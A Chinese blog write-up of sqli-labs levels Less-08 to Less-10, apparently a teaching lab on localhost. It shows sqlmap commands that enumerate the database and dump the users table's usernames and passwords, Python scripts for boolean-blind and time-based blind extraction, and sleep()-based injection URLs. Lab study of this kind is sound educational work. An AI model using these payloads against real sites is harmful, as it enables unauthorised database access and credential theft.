Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less08-10 Writeup

本文共计有2710个字

前言

前一篇虽然讲述清楚了布尔盲注原理,但是还没有给出解决方法。在此借助相关题目讲清楚。另外也顺便说说延时注入。

布尔盲注的解决方法

Sqlmap

是时候介绍神器Sqlmap了,sqlmap需要的环境是python2.6/2.7,它是一个开源的工具。具体的安装与操作可以在网上查找,我们先以Less-05为例,首先判断是否存在注入点:

python sqlmap.py -u  "http://127.0.0.1/sqli-labs-master/Less-5/?id=1"

《Sqli-labs Less08-10 Writeup》

可以发现存在多种注入类型的注入点,所以接下来一波操作:

爆库:python sqlmap.py -u  "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --dbs
爆表:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security --tables
爆字段:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users --columns
爆值:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump

爆库结果:

《Sqli-labs Less08-10 Writeup》

爆表结果:

《Sqli-labs Less08-10 Writeup》

爆字段结果:

《Sqli-labs Less08-10 Writeup》

爆值结果:

《Sqli-labs Less08-10 Writeup》

emmm,有没有感受到做个脚本小子之后的惭愧(快感)?我们肯定需要了解其原理嘛,接下来通过自己写脚本的办法来完成爆库操作。

写脚本

利用Python的requests库进行历遍爆库:

import requests
url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(substr(database(),{},1))={}--+"
result =""
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		r = requests.get(payload)
		if "are" in r.text:
			result += chr(j)
			print (result)
			break;

《Sqli-labs Less08-10 Writeup》

类比可以写出爆表的脚本:

import requests
url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1))={}--+"
result =""
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		r = requests.get(payload)
		if "are" in r.text:
			result += chr(j)
			print (result)
			break;

《Sqli-labs Less08-10 Writeup》

如图,爆出了第一个表名emails,接下去的其他表名就以此类推了,不演示了效率实在太低了。

这样我们解决Less-5就有两种方法了,再来看看Less-08:

Less-08

经过简单测试,这道题我们需要闭合’。和Less-5一样没有显示位。但是和Less-5的区别在于过滤了报错语句,所以我们不能使用报错注入,可以使用布尔注入。其解决方法无论是sqlmap还是自己写脚本就都与Less-05相同了。

另外,除了布尔注入,也可以使用延时注入来解决。但是相对于Less-08来说,Less-09更适合使用延时注入,接下来说说延时注入解决Less-09。

Less-09

延时注入

经过测试,可以发现无论我们的payload能否执行,都只会显示这个界面:

《Sqli-labs Less08-10 Writeup》所以我们不能根据页面的返回来判断是否执行语句,也就是不能执行布尔注入,更不能使用报错注入了。

所以需要使用延时注入来解决:

尝试下面的payload:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(0),sleep(5)) --+
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(0),sleep(5)) --+

上面第一个payload的意思就是,如果1=1这条SQL语句执行成功,那么就实行sleep(0)休眠0秒,如果1=1这条SQL语句执行错误,那么就执行sleep(5)休眠5秒,第二个payload同理。很明显写入第二个payload之后反应时间变长了:《Sqli-labs Less08-10 Writeup》

也就是说我们可以通过反应时间的长短来判断我们写入的SQL语句是否执行成功。

说实话延时注入与布尔注入的原理是非常相似的,所以我们可以很容易利用requests库写出爆库脚本(由于是要利用延时,所以脚本跑得很慢,用sqlmap就挺快的):

import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ord(substr(database(),{},1))={},sleep(5),1)--+"
result  = ''
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		time1 = time.time()
		r = requests.get(payload)
		time2 = time.time()
		time3 = time2 - time1
		if time3 > 4:
			result += chr(j)
			print result
			break

运行结果:

《Sqli-labs Less08-10 Writeup》

其他的爆表爆字段操作都可以类比写出脚本。

Less-10

与Less-09相似,无论注入什么,页面都回显:

《Sqli-labs Less08-10 Writeup》

所以仍然是要利用延时注入,先看看闭合单引号能否成功闭合:

http://127.0.0.1/sqli-labs-master/Less-10/?id=1' and sleep(5)--+

发现页面并没有延时,说明单引号无法闭合语句,再尝试双引号:

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

发现页面延时了一段时间,说明双引号可以闭合语句,接下去的其他步骤就与Less-09相同了。

参考文章

1、延时注入

2、von大佬的博客

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注